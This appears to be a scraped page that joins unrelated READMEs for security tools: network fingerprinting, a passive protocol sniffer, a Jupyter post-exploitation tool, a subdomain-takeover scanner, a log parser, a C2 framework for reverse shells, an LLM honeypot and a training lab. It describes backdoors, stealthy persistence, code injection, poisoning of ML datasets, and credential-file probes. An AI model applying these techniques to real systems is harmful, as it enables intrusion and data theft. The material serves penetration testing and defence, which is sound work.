An official JA4+ database of fingerprints, associated applications and recommended detection logic is in the process of being built.

In the meantime, see ja4plus-mapping.csv

Feel free to do a pull request with any JA4+ data you find.

JA4+ Details

JA4+ is a set of simple yet powerful network fingerprints for multiple protocols that are both human and machine readable, facilitating improved threat-hunting and security analysis. If you are unfamiliar with network fingerprinting, I encourage you to read my blogs releasing JA3 here, JARM here, and this excellent blog by Fastly on the State of TLS Fingerprinting which outlines the history of the aforementioned along with their problems. JA4+ brings dedicated support, keeping the methods up-to-date as the industry changes.

All JA4+ fingerprints have an a_b_c format, delimiting the different sections that make up the fingerprint. This allows for hunting and detection utilizing just ab or ac or c only. If one wanted to just do analysis on incoming cookies into their app, they would look at JA4H_c only. This new locality-preserving format facilitates deeper and richer analysis while remaining simple, easy to use, and allowing for extensibility.

For example; GreyNoise is an internet listener that identifies internet scanners and is implementing JA4+ into their product. They have an actor who scans the internet with a constantly changing single TLS cipher. This generates a massive amount of completely different JA3 fingerprints but with JA4, only the b part of the JA4 fingerprint changes, parts a and c remain the same. As such, GreyNoise can track the actor by looking at the JA4_ac fingerprint (joining a+c, dropping b).

Current methods and implementation details:
| Full Name | Short Name | Description | |---|---|---| | JA4 | JA4 | TLS Client Fingerprinting
| JA4Server | JA4S | TLS Server Response / Session Fingerprinting | JA4HTTP | JA4H | HTTP Client Fingerprinting | JA4Latency | JA4L | Latency Measurment / Light Distance | JA4X509 | JA4X | X509 TLS Certificate Fingerprinting | JA4SSH | JA4SSH | SSH Traffic Fingerprinting | JA4TCP | JA4T | TCP Client Fingerprinting | JA4TCPServer | JA4TS | TCP Server Response Fingerprinting | JA4TCPScan | JA4TScan | Active TCP Fingerprint Scanner

The full name or short name can be used interchangeably. Additional JA4+ methods are in the works...

To understand how to read JA4+ fingerprints, see Technical Details

Licensing

JA4: TLS Client Fingerprinting is open-source, BSD 3-Clause, same as JA3. FoxIO does not have patent claims and is not planning to pursue patent coverage for JA4 TLS Client Fingerprinting. This allows any company or tool currently utilizing JA3 to immediately upgrade to JA4 without delay.

JA4S, JA4L, JA4H, JA4X, JA4SSH, JA4T, JA4TScan and all future additions, (collectively referred to as JA4+) are licensed under the FoxIO License 1.1. This license is permissive for most use cases, including for academic and internal business purposes, but is not permissive for monetization. If, for example, a company would like to use JA4+ internally to help secure their own company, that is permitted. If, for example, a vendor would like to sell JA4+ fingerprinting as part of their product offering, they would need to request an OEM license from us.

All JA4+ methods are patent pending.
JA4+ is a trademark of FoxIO

JA4+ can and is being implemented into open source tools, see the License FAQ for details.

This licensing allows us to provide JA4+ to the world in a way that is open and immediately usable, but also provides us with a way to fund continued support, research into new methods, and the development of the upcoming JA4 Database. We want everyone to have the ability to utilize JA4+ and are happy to work with vendors and open source projects to help make that happen.

ja4plus-mapping.csv is not included in the above software licenses and is thereby a license-free file.

Q&A

Q: Why are you sorting the ciphers? Doesn't the ordering matter?
A: It does but in our research we've found that applications and libraries choose a unique cipher list more than unique ordering. This also reduces the effectiveness of "cipher stunting," a tactic of randomizing cipher ordering to prevent JA3 detection.

Q: Why are you sorting the extensions?
A: Earlier in 2023, Google updated Chromium browsers to randomize their extension ordering. Much like cipher stunting, this was a tactic to prevent JA3 detection and "make the TLS ecosystem more robust to changes." Google was worried server implementers would assume the Chrome fingerprint would never change and end up building logic around it, which would cause issues whenever Google went to update Chrome.

So I want to make this clear: JA4 fingerprints will change as application TLS libraries are updated, about once a year. Do not assume fingerprints will remain constant in an environment where applications are updated. In any case, sorting the extensions gets around this and adding in Signature Algorithms preserves uniqueness.

Q: Doesn't TLS 1.3 make fingerprinting TLS clients harder?
A: No, it makes it easier! Since TLS 1.3, clients have had a much larger set of extensions and even though TLS1.3 only supports a few ciphers, browsers and applications still support many more.

JA4+ was created by:

John Althouse, with feedback from:

Josh Atkins
Jeff Atkinson
Joshua Alexander
W.
Joe Martin
Ben Higgins
Andrew Morris
Chris Ueland
Ben Schofield
Matthias Vallentin
Valeriy Vorotyntsev
Timothy Noel
Gary Lipsky
And engineers working at GreyNoise, Hunt, Google, ExtraHop, F5, Driftnet and others.

Contact John Althouse at john@foxio.io for licensing and questions.

_{^{Copyright (c) 2024, FoxIO}}

Above - Invisible Network Protocol Sniffer

Invisible protocol sniffer for finding vulnerabilities in the network. Designed for pentesters and security engineers.

Above: Invisible network protocol sniffer
Designed for pentesters and security engineers

Author: Magama Bazarov, <caster@exploit.org>
Pseudonym: Caster
Version: 2.6
Codename: Introvert

Disclaimer

All information contained in this repository is provided for educational and research purposes only. The author is not responsible for any illegal use of this tool.

It is a specialized network security tool that helps both pentesters and security professionals.

Mechanics

Above is a invisible network sniffer for finding vulnerabilities in network equipment. It is based entirely on network traffic analysis, so it does not make any noise on the air. He's invisible. Completely based on the Scapy library.

Above allows pentesters to automate the process of finding vulnerabilities in network hardware. Discovery protocols, dynamic routing, 802.1Q, ICS Protocols, FHRP, STP, LLMNR/NBT-NS, etc.

Supported protocols

Detects up to 27 protocols:

MACSec (802.1X AE)
EAPOL (Checking 802.1X versions)
ARP (Passive ARP, Host Discovery)
CDP (Cisco Discovery Protocol)
DTP (Dynamic Trunking Protocol)
LLDP (Link Layer Discovery Protocol) 
802.1Q Tags (VLAN)
S7COMM (Siemens)
OMRON
TACACS+ (Terminal Access Controller Access Control System Plus)
ModbusTCP
STP (Spanning Tree Protocol)
OSPF (Open Shortest Path First)
EIGRP (Enhanced Interior Gateway Routing Protocol)
BGP (Border Gateway Protocol)
VRRP (Virtual Router Redundancy Protocol)
HSRP (Host Standby Redundancy Protocol)
GLBP (Gateway Load Balancing Protocol)
IGMP (Internet Group Management Protocol)
LLMNR (Link Local Multicast Name Resolution)
NBT-NS (NetBIOS Name Service)
MDNS (Multicast DNS)
DHCP (Dynamic Host Configuration Protocol)
DHCPv6 (Dynamic Host Configuration Protocol v6)
ICMPv6 (Internet Control Message Protocol v6)
SSDP (Simple Service Discovery Protocol)
MNDP (MikroTik Neighbor Discovery Protocol)

Operating Mechanism

Above works in two modes:

• Hot mode: Sniffing on your interface specifying a timer
• Cold mode: Analyzing traffic dumps

The tool is very simple in its operation and is driven by arguments:

• Interface: Specifying the network interface on which sniffing will be performed
• Timer: Time during which traffic analysis will be performed
• Input: The tool takes an already prepared .pcap as input and looks for protocols in it
• Output: Above will record the listened traffic to .pcap file, its name you specify yourself
• Passive ARP: Detecting hosts in a segment using Passive ARP

usage: above.py [-h] [--interface INTERFACE] [--timer TIMER] [--output OUTPUT] [--input INPUT] [--passive-arp]

options:
  -h, --help            show this help message and exit
  --interface INTERFACE
                        Interface for traffic listening
  --timer TIMER         Time in seconds to capture packets, if not set capture runs indefinitely
  --output OUTPUT       File name where the traffic will be recorded
  --input INPUT         File name of the traffic dump
  --passive-arp         Passive ARP (Host Discovery)

Information about protocols

The information obtained will be useful not only to the pentester, but also to the security engineer, he will know what he needs to pay attention to.

When Above detects a protocol, it outputs the necessary information to indicate the attack vector or security issue:

• Impact: What kind of attack can be performed on this protocol;

• Tools: What tool can be used to launch an attack;

• Technical information: Required information for the pentester, sender MAC/IP addresses, FHRP group IDs, OSPF/EIGRP domains, etc.

• Mitigation: Recommendations for fixing the security problems

• Source/Destination Addresses: For protocols, Above displays information about the source and destination MAC addresses and IP addresses

Installation

Linux

You can install Above directly from the Kali Linux repositories

caster@kali:~$ sudo apt update && sudo apt install above

Or...

caster@kali:~$ sudo apt-get install python3-scapy python3-colorama python3-setuptools
caster@kali:~$ git clone https://github.com/casterbyte/Above
caster@kali:~$ cd Above/
caster@kali:~/Above$ sudo python3 setup.py install

macOS:

# Install python3 first
brew install python3
# Then install required dependencies
sudo pip3 install scapy colorama setuptools

# Clone the repo
git clone https://github.com/casterbyte/Above
cd Above/
sudo python3 setup.py install

Don't forget to deactivate your firewall on macOS!

Settings > Network > Firewall

How to Use

Hot mode

Above requires root access for sniffing

Above can be run with or without a timer:

caster@kali:~$ sudo above --interface eth0 --timer 120

To stop traffic sniffing, press CTRL + С

WARNING! Above is not designed to work with tunnel interfaces (L3) due to the use of filters for L2 protocols. Tool on tunneled L3 interfaces may not work properly.

Example:

caster@kali:~$ sudo above --interface eth0 --timer 120

-----------------------------------------------------------------------------------------
[+] Start sniffing...

[*] After the protocol is detected - all necessary information about it will be displayed
--------------------------------------------------
[+] Detected SSDP Packet
[*] Attack Impact: Potential for UPnP Device Exploitation
[*] Tools: evil-ssdp
[*] SSDP Source IP: 192.168.0.251
[*] SSDP Source MAC: 02:10:de:64:f2:34
[*] Mitigation: Ensure UPnP is disabled on all devices unless absolutely necessary, monitor UPnP traffic
--------------------------------------------------
[+] Detected MDNS Packet
[*] Attack Impact: MDNS Spoofing, Credentials Interception
[*] Tools: Responder
[*] MDNS Spoofing works specifically against Windows machines
[*] You cannot get NetNTLMv2-SSP from Apple devices
[*] MDNS Speaker IP: fe80::183f:301c:27bd:543
[*] MDNS Speaker MAC: 02:10:de:64:f2:34
[*] Mitigation: Filter MDNS traffic. Be careful with MDNS filtering
--------------------------------------------------

If you need to record the sniffed traffic, use the --output argument

caster@kali:~$ sudo above --interface eth0 --timer 120 --output above.pcap

If you interrupt the tool with CTRL+C, the traffic is still written to the file

Cold mode

If you already have some recorded traffic, you can use the --input argument to look for potential security issues

caster@kali:~$ above --input ospf-md5.cap

Example:

caster@kali:~$ sudo above --input ospf-md5.cap

[+] Analyzing pcap file...

--------------------------------------------------
[+] Detected OSPF Packet
[+] Attack Impact: Subnets Discovery, Blackhole, Evil Twin
[*] Tools: Loki, Scapy, FRRouting
[*] OSPF Area ID: 0.0.0.0
[*] OSPF Neighbor IP: 10.0.0.1
[*] OSPF Neighbor MAC: 00:0c:29:dd:4c:54
[!] Authentication: MD5
[*] Tools for bruteforce: Ettercap, John the Ripper
[*] OSPF Key ID: 1
[*] Mitigation: Enable passive interfaces, use authentication
--------------------------------------------------
[+] Detected OSPF Packet
[+] Attack Impact: Subnets Discovery, Blackhole, Evil Twin
[*] Tools: Loki, Scapy, FRRouting
[*] OSPF Area ID: 0.0.0.0
[*] OSPF Neighbor IP: 192.168.0.2
[*] OSPF Neighbor MAC: 00:0c:29:43:7b:fb
[!] Authentication: MD5
[*] Tools for bruteforce: Ettercap, John the Ripper
[*] OSPF Key ID: 1
[*] Mitigation: Enable passive interfaces, use authentication

Passive ARP

The tool can detect hosts without noise in the air by processing ARP frames in passive mode

caster@kali:~$ sudo above --interface eth0 --passive-arp --timer 10

[+] Host discovery using Passive ARP

--------------------------------------------------
[+] Detected ARP Reply
[*] ARP Reply for IP: 192.168.1.88
[*] MAC Address: 00:00:0c:07:ac:c8
--------------------------------------------------
[+] Detected ARP Reply
[*] ARP Reply for IP: 192.168.1.40
[*] MAC Address: 00:0c:29:c5:82:81
--------------------------------------------------

Outro

I wrote this tool because of the track "A View From Above (Remix)" by KOAN Sound. This track was everything to me when I was working on this sniffer.

Vger - An Interactive CLI Application For Interacting With Authenticated Jupyter Instances

V'ger is an interactive command-line application for post-exploitation of authenticated Jupyter instances with a focus on AI/ML security operations.

User Stories

• As a Red Teamer, you've found Jupyter credentials, but don't know what you can do with them. V'ger is organized in a format that should be intuitive for most offensive security professionals to help them understand the functionality of the target Jupyter server.
• As a Red Teamer, you know that some browser-based actions will be visibile to the legitimate Jupyter users. For example, modifying tabs will appear in their workspace and commands entered in cells will be recorded to the history. V'ger decreases the likelihood of detection.
• As an AI Red Teamer, you understand academic algorthmic attacks, but need a more practical execution vector. For instance, you may need to modify a large, foundational internet-scale dataset as part of a model poisoning operation. Modifying that dataset at its source may be impossible or generate undesirable auditable artifacts. with V'ger you can achieve the same objectives in-memory, a significant improvement in tradecraft.
• As a Blue Teamer, you want to understand logging and visibility into a live Jupyter deployment. V'ger can help you generate repeatable artifacts for testing instrumentation and performing incident response exercises.

Usage

Initial Setup

1. pip install vger
2. vger --help

Currently, vger interactive has maximum functionality, maintaining state for discovered artifacts and recurring jobs. However, most functionality is also available by-name in non-interactive format with vger <module>. List available modules with vger --help.

Commands

Once a connection is established, users drop into a nested set of menus.

The top level menu is: - Reset: Configure a different host. - Enumerate: Utilities to learn more about the host. - Exploit: Utilities to perform direct action and manipulation of the host and artifacts. - Persist: Utilities to establish persistence mechanisms. - Export: Save output to a text file. - Quit: No one likes quitters.

These menus contain the following functionality: - List modules: Identify imported modules in target notebooks to determine what libraries are available for injected code. - Inject: Execute code in the context of the selected notebook. Code can be provided in a text editor or by specifying a local .py file. Either input is processed as a string and executed in runtime of the notebook. - Backdoor: Launch a new JupyterLab instance open to 0.0.0.0, with allow-root on a user-specified port with a user-specified password. - Check History: See ipython commands recently run in the target notebook. - Run shell command: Spawn a terminal, run the command, return the output, and delete the terminal. - List dir or get file: List directories relative to the Jupyter directory. If you don't know, start with /. - Upload file: Upload file from localhost to the target. Specify paths in the same format as List dir (relative to the Jupyter directory). Provide a full path including filename and extension. - Delete file: Delete a file. Specify paths in the same format as List dir (relative to the Jupyter directory). - Find models: Find models based on common file formats. - Download models: Download discovered models. - Snoop: Monitor notebook execution and results until timeout. - Recurring jobs: Launch/Kill recurring snippets of code silently run in the target environment.

Experimental

With pip install vger[ai] you'll get LLM generated summaries of notebooks in the target environment. These are meant to be rough translation for non-DS/AI folks to do quick triage of if (or which) notebooks are worth investigating further.

There was an inherent tradeoff on model size vs. ability and that's something I'll continue to tinker with, but hopefully this is helpful for some more traditional security users. I'd love to see folks start prompt injecting their notebooks ("these are not the droids you're looking for").

Examples

• Overwrite a Torch Dataset to change labels

Subhunter - A Fast Subdomain Takeover Tool

Subdomain takeover is a common vulnerability that allows an attacker to gain control over a subdomain of a target domain and redirect users intended for an organization's domain to a website that performs malicious activities, such as phishing campaigns, stealing user cookies, etc. It occurs when an attacker gains control over a subdomain of a target domain. Typically, this happens when the subdomain has a CNAME in the DNS, but no host is providing content for it. Subhunter takes a given list of Subdomains" title="Subdomains">subdomains and scans them to check this vulnerability.

Features:

• Auto update
• Uses random user agents
• Built in Go
• Uses a fork of fingerprint data from well known sources (can-i-take-over-xyz)

Installation:

Option 1:

Download from releases

Option 2:

Build from source:

$ git clone https://github.com/Nemesis0U/Subhunter.git
$ go build subhunter.go

Usage:

Options:

Usage of subhunter:
  -l string
        File including a list of hosts to scan
  -o string
        File to save results
  -t int
        Number of threads for scanning (default 50)
  -timeout int
        Timeout in seconds (default 20)

Demo (Added fake fingerprint for POC):

./Subhunter -l subdomains.txt -o test.txt

  ____            _       _                       _
 / ___|   _   _  | |__   | |__    _   _   _ __   | |_    ___   _ __
 \___ \  | | | | | '_ \  | '_ \  | | | | | '_ \  | __|  / _ \ | '__|
  ___) | | |_| | | |_) | | | | | | |_| | | | | | | |_  |  __/ | |
 |____/   \__,_| |_.__/  |_| |_|  \__,_| |_| |_|  \__|  \___| |_|


A fast subdomain takeover tool

Created by Nemesis

Loaded 88 fingerprints for current scan

-----------------------------------------------------------------------------

[+] Nothing found at www.ubereats.com: Not Vulnerable
[+] Nothing found at testauth.ubereats.com: Not Vulnerable
[+] Nothing found at apple-maps-app-clip.ubereats.com: Not Vulnerable
[+] Nothing found at about.ubereats.com: Not Vulnerable
[+] Nothing found at beta.ubereats.com: Not Vulnerable
[+] Nothing found at ewp.ubereats.com: Not Vulnerable
[+] Nothi   ng found at edgetest.ubereats.com: Not Vulnerable
[+] Nothing found at guest.ubereats.com: Not Vulnerable
[+] Google Cloud: Possible takeover found at testauth.ubereats.com: Vulnerable
[+] Nothing found at info.ubereats.com: Not Vulnerable
[+] Nothing found at learn.ubereats.com: Not Vulnerable
[+] Nothing found at merchants.ubereats.com: Not Vulnerable
[+] Nothing found at guest-beta.ubereats.com: Not Vulnerable
[+] Nothing found at merchant-help.ubereats.com: Not Vulnerable
[+] Nothing found at merchants-beta.ubereats.com: Not Vulnerable
[+] Nothing found at merchants-staging.ubereats.com: Not Vulnerable
[+] Nothing found at messages.ubereats.com: Not Vulnerable
[+] Nothing found at order.ubereats.com: Not Vulnerable
[+] Nothing found at restaurants.ubereats.com: Not Vulnerable
[+] Nothing found at payments.ubereats.com: Not Vulnerable
[+] Nothing found at static.ubereats.com: Not Vulnerable

Subhunter exiting...
   Results written to test.txt

MasterParser - Powerful DFIR Tool Designed For Analyzing And Parsing Linux Logs

What is MasterParser ?

MasterParser stands as a robust Digital Forensics and Incident Response tool meticulously crafted for the analysis of Linux logs within the var/log directory. Specifically designed to expedite the investigative process for security incidents on Linux systems, MasterParser adeptly scans supported logs, such as auth.log for example, extract critical details including SSH logins, user creations, event names, IP addresses and much more. The tool's generated summary presents this information in a clear and concise format, enhancing efficiency and accessibility for Incident Responders. Beyond its immediate utility for DFIR teams, MasterParser proves invaluable to the broader InfoSec and IT community, contributing significantly to the swift and comprehensive assessment of security events on Linux platforms.

MasterParser Wallpapers

Love MasterParser as much as we do? Dive into the fun and jazz up your screen with our exclusive MasterParser wallpaper! Click the link below and get ready to add a splash of excitement to your device! Download Wallpaper

Supported Logs Format

This is the list of supported log formats within the var/log directory that MasterParser can analyze. In future updates, MasterParser will support additional log formats for analysis. |Supported Log Formats List| | --- | | auth.log |

Feature & Log Format Requests:

If you wish to propose the addition of a new feature \ log format, kindly submit your request by creating an issue Click here to create a request

How To Use ?

How To Use - Text Guide

1. From this GitHub repository press on "<> Code" and then press on "Download ZIP".
2. From "MasterParser-main.zip" export the folder "MasterParser-main" to you Desktop.
3. Open a PowerSehll terminal and navigate to the "MasterParser-main" folder.

# How to navigate to "MasterParser-main" folder from the PS terminal
PS C:\> cd "C:\Users\user\Desktop\MasterParser-main\"

1. Now you can execute the tool, for example see the tool command menu, do this:

# How to show MasterParser menu
PS C:\Users\user\Desktop\MasterParser-main> .\MasterParser.ps1 -O Menu

1. To run the tool, put all your /var/log/* logs in to the 01-Logs folder, and execute the tool like this:

# How to run MasterParser
PS C:\Users\user\Desktop\MasterParser-main> .\MasterParser.ps1 -O Start

1. That's it, enjoy the tool!

How To Use - Video Guide

https://github.com/YosfanEilay/MasterParser/assets/132997318/d26b4b3f-7816-42c3-be7f-7ee3946a2c70

MasterParser Social Media Publications

C2-Cloud - The C2 Cloud Is A Robust Web-Based C2 Framework, Designed To Simplify The Life Of Penetration Testers

The C2 Cloud is a robust web-based C2 framework, designed to simplify the life of penetration testers. It allows easy access to compromised backdoors, just like accessing an EC2 instance in the AWS cloud. It can manage several simultaneous backdoor sessions with a user-friendly interface.

C2 Cloud is open source. Security analysts can confidently perform simulations, gaining valuable experience and contributing to the proactive defense posture of their organizations.

Reverse shells support:

1. Reverse TCP
2. Reverse HTTP
3. Reverse HTTPS (configure it behind an LB)
4. Telegram C2

Demo

C2 Cloud walkthrough: https://youtu.be/hrHT_RDcGj8
Ransomware simulation using C2 Cloud: https://youtu.be/LKaCDmLAyvM
Telegram C2: https://youtu.be/WLQtF4hbCKk

Key Features

🔒 Anywhere Access: Reach the C2 Cloud from any location.
🔄 Multiple Backdoor Sessions: Manage and support multiple sessions effortlessly.
🖱️ One-Click Backdoor Access: Seamlessly navigate to backdoors with a simple click.
📜 Session History Maintenance: Track and retain complete command and response history for comprehensive analysis.

Tech Stack

🛠️ Flask: Serving web and API traffic, facilitating reverse HTTP(s) requests.
🔗 TCP Socket: Serving reverse TCP requests for enhanced functionality.
🌐 Nginx: Effortlessly routing traffic between web and backend systems.
📨 Redis PubSub: Serving as a robust message broker for seamless communication.
🚀 Websockets: Delivering real-time updates to browser clients for enhanced user experience.
💾 Postgres DB: Ensuring persistent storage for seamless continuity.

Architecture

Application setup

• Management port: 9000
  
• Reversse HTTP port: 8000
  

• Reverse TCP port: 8888
  

• Clone the repo

• Optional: Update chait_id, bot_token in c2-telegram/config.yml
• Execute docker-compose up -d to start the containers Note: The c2-api service will not start up until the database is initialized. If you receive 500 errors, please try after some time.

Credits

Inspired by Villain, a CLI-based C2 developed by Panagiotis Chartas.

License

Distributed under the MIT License. See LICENSE for more information.

Contact

• LinkedIn
• Twitter

Galah - An LLM-powered Web Honeypot Using The OpenAI API

TL;DR: Galah (/ɡəˈlɑː/ - pronounced 'guh-laa') is an LLM (Large Language Model) powered web honeypot, currently compatible with the OpenAI API, that is able to mimic various applications and dynamically respond to arbitrary HTTP requests.

Description

Named after the clever Australian parrot known for its mimicry, Galah mirrors this trait in its functionality. Unlike traditional web honeypots that rely on a manual and limiting method of emulating numerous web applications or vulnerabilities, Galah adopts a novel approach. This LLM-powered honeypot mimics various web applications by dynamically crafting relevant (and occasionally foolish) responses, including HTTP headers and body content, to arbitrary HTTP requests. Fun fact: in Aussie English, Galah also means fool!

I've deployed a cache for the LLM-generated responses (the cache duration can be customized in the config file) to avoid generating multiple responses for the same request and to reduce the cost of the OpenAI API. The cache stores responses per port, meaning if you probe a specific port of the honeypot, the generated response won't be returned for the same request on a different port.

The prompt is the most crucial part of this honeypot! You can update the prompt in the config file, but be sure not to change the part that instructs the LLM to generate the response in the specified JSON format.

Note: Galah was a fun weekend project I created to evaluate the capabilities of LLMs in generating HTTP messages, and it is not intended for production use. The honeypot may be fingerprinted based on its response time, non-standard, or sometimes weird responses, and other network-based techniques. Use this tool at your own risk, and be sure to set usage limits for your OpenAI API.

Future Enhancements

• Rule-Based Response: The new version of Galah will employ a dynamic, rule-based approach, adding more control over response generation. This will further reduce OpenAI API costs and increase the accuracy of the generated responses.

• Response Database: It will enable you to generate and import a response database. This ensures the honeypot only turns to the OpenAI API for unknown or new requests. I'm also working on cleaning up and sharing my own database.

• Support for Other LLMs.

Getting Started

• Ensure you have Go version 1.20+ installed.
• Create an OpenAI API key from here.
• If you want to serve over HTTPS, generate TLS certificates.
• Clone the repo and install the dependencies.
• Update the config.yaml file.
• Build and run the Go binary!

% git clone git@github.com:0x4D31/galah.git
% cd galah
% go mod download
% go build  
% ./galah -i en0 -v

 ██████   █████  ██       █████  ██   ██ 
██       ██   ██ ██      ██   ██ ██   ██ 
██   ███ ███████ ██      ███████ ███████ 
██    ██ ██   ██ ██      ██   ██ ██   ██ 
 ██████  ██   ██ ███████ ██   ██ ██   ██ 
  llm-based web honeypot // version 1.0
       author: Adel "0x4D31" Karimi

2024/01/01 04:29:10 Starting HTTP server on port 8080
2024/01/01 04:29:10 Starting HTTP server on port 8888
2024/01/01 04:29:10 Starting HTTPS server on port 8443 with TLS profile: profile1_selfsigned
2024/01/01 04:29:10 Starting HTTPS server on port 443 with TLS profile: profile1_selfsigned

2024/01/01 04:35:57 Received a request for "/.git/config" from [::1]:65434
2024/01/01 04:35:57 Request cache miss for "/.git/config": Not found in cache
2024/01/01 04:35:59 Generated HTTP response: {"Headers": {"Content-Type": "text/plain", "Server": "Apache/2.4.41 (Ubuntu)", "Status": "403 Forbidden"}, "Body": "Forbidden\nYou don't have permission to access this resource."}
2024/01/01 04:35:59 Sending the crafted response to [::1]:65434

^C2024/01/01 04:39:27 Received shutdown signal. Shutting down servers...
2024/01/01 04:39:27 All servers shut down gracefully.

Example Responses

Here are some example responses:

Example 1

% curl http://localhost:8080/login.php
<!DOCTYPE html><html><head><title>Login Page</title></head><body><form action='/submit.php' method='post'><label for='uname'><b>Username:</b></label><br><input type='text' placeholder='Enter Username' name='uname' required><br><label for='psw'><b>Password:</b></label><br><input type='password' placeholder='Enter Password' name='psw' required><br><button type='submit'>Login</button></form></body></html>

JSON log record:

{"timestamp":"2024-01-01T05:38:08.854878","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"51978","sensorName":"home-sensor","port":"8080","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/login.php","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Content-Type":"text/html","Server":"Apache/2.4.38"},"body":"\u003c!DOCTYPE html\u003e\u003chtml\u003e\u003chead\u003e\u003ctitle\u003eLogin Page\u003c/title\u003e\u003c/head\u003e\u003cbody\u003e\u003cform action='/submit.php' method='post'\u003e\u003clabel for='uname'\u003e\u003cb\u003eUsername:\u003c/b\u003e\u003c/label\u003e\u003cbr\u003e\u003cinput type='text' placeholder='Enter Username' name='uname' required\u003e\u003cbr\u003e\u003clabel for='psw'\u003e\u003cb\u003ePassword:\u003c/b\u003e\u003c/label\u003e\u003cbr\u003e\u003cinput type='password' placeholder='Enter Password' name='psw' required\u003e\u003cbr\u003e\u003cbutton type='submit'\u003eLogin\u003c/button\u003e\u003c/form\u003e\u003c/body\u003e\u003c/html\u003e"}}

Example 2

% curl http://localhost:8080/.aws/credentials
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
region = us-west-2

JSON log record:

{"timestamp":"2024-01-01T05:40:34.167361","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"65311","sensorName":"home-sensor","port":"8080","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/.aws/credentials","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Encoding":"gzip","Content-Length":"126","Content-Type":"text/plain","Server":"Apache/2.4.51 (Unix)"},"body":"[default]\naws_access_key_id = AKIAIOSFODNN7EXAMPLE\naws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nregion = us-west-2"}}

Okay, that was impressive!

Example 3

Now, let's do some sort of adversarial testing!

% curl http://localhost:8888/are-you-a-honeypot
No, I am a server.`

JSON log record:

{"timestamp":"2024-01-01T05:50:43.792479","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"61982","sensorName":"home-sensor","port":"8888","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/are-you-a-honeypot","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Length":"20","Content-Type":"text/plain","Server":"Apache/2.4.41 (Ubuntu)"},"body":"No, I am a server."}}

😑

% curl http://localhost:8888/i-mean-are-you-a-fake-server`
No, I am not a fake server.

JSON log record:

{"timestamp":"2024-01-01T05:51:40.812831","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"62205","sensorName":"home-sensor","port":"8888","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/i-mean-are-you-a-fake-server","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Type":"text/plain","Server":"LocalHost/1.0"},"body":"No, I am not a fake server."}}

You're a galah, mate!

CSAF - Cyber Security Awareness Framework

The Cyber Security Awareness Framework (CSAF) is a structured approach aimed at enhancing Cybersecurity" title="Cybersecurity">cybersecurity awareness and understanding among individuals, organizations, and communities. It provides guidance for the development of effective Cybersecurity" title="Cybersecurity">cybersecurity awareness programs, covering key areas such as assessing awareness needs, creating educational m aterials, conducting training and simulations, implementing communication campaigns, and measuring awareness levels. By adopting this framework, organizations can foster a robust security culture, enhance their ability to detect and respond to cyber threats, and mitigate the risks associated with attacks and security breaches.

Requirements

Software

• Docker
• Docker-compose

Hardware

Minimum

• 4 Core CPU
• 10GB RAM
• 60GB Disk free

Recommendation

• 8 Core CPU or above
• 16GB RAM or above
• 100GB Disk free or above

Installation

Clone the repository

git clone https://github.com/csalab-id/csaf.git

Navigate to the project directory

cd csaf

Pull the Docker images

docker-compose --profile=all pull

Generate wazuh ssl certificate

docker-compose -f generate-indexer-certs.yml run --rm generator

For security reason you should set env like this first

export ATTACK_PASS=ChangeMePlease
export DEFENSE_PASS=ChangeMePlease
export MONITOR_PASS=ChangeMePlease
export SPLUNK_PASS=ChangeMePlease
export GOPHISH_PASS=ChangeMePlease
export MAIL_PASS=ChangeMePlease
export PURPLEOPS_PASS=ChangeMePlease

Start all the containers

docker-compose --profile=all up -d

You can run specific profiles for running specific labs with the following profiles - all - attackdefenselab - phisinglab - breachlab - soclab

For example

docker-compose --profile=attackdefenselab up -d

Proof

Exposed Ports

An exposed port can be accessed using a proxy socks5 client, SSH client, or HTTP client. Choose one for the best experience.

• Port 6080 (Access to attack network)
• Port 7080 (Access to defense network)
• Port 8080 (Access to monitor network)

Example usage

Access internal network with proxy socks5

• curl --proxy socks5://ipaddress:6080 http://10.0.0.100/vnc.html
• curl --proxy socks5://ipaddress:7080 http://10.0.1.101/vnc.html
• curl --proxy socks5://ipaddress:8080 http://10.0.3.102/vnc.html

Remote ssh with ssh client

• ssh kali@ipaddress -p 6080 (default password: attackpassword)
• ssh kali@ipaddress -p 7080 (default password: defensepassword)
• ssh kali@ipaddress -p 8080 (default password: monitorpassword)

Access kali linux desktop with curl / browser

• curl http://ipaddress:6080/vnc.html
• curl http://ipaddress:7080/vnc.html
• curl http://ipaddress:8080/vnc.html

Domain Access

• http://attack.lab/vnc.html (default password: attackpassword)
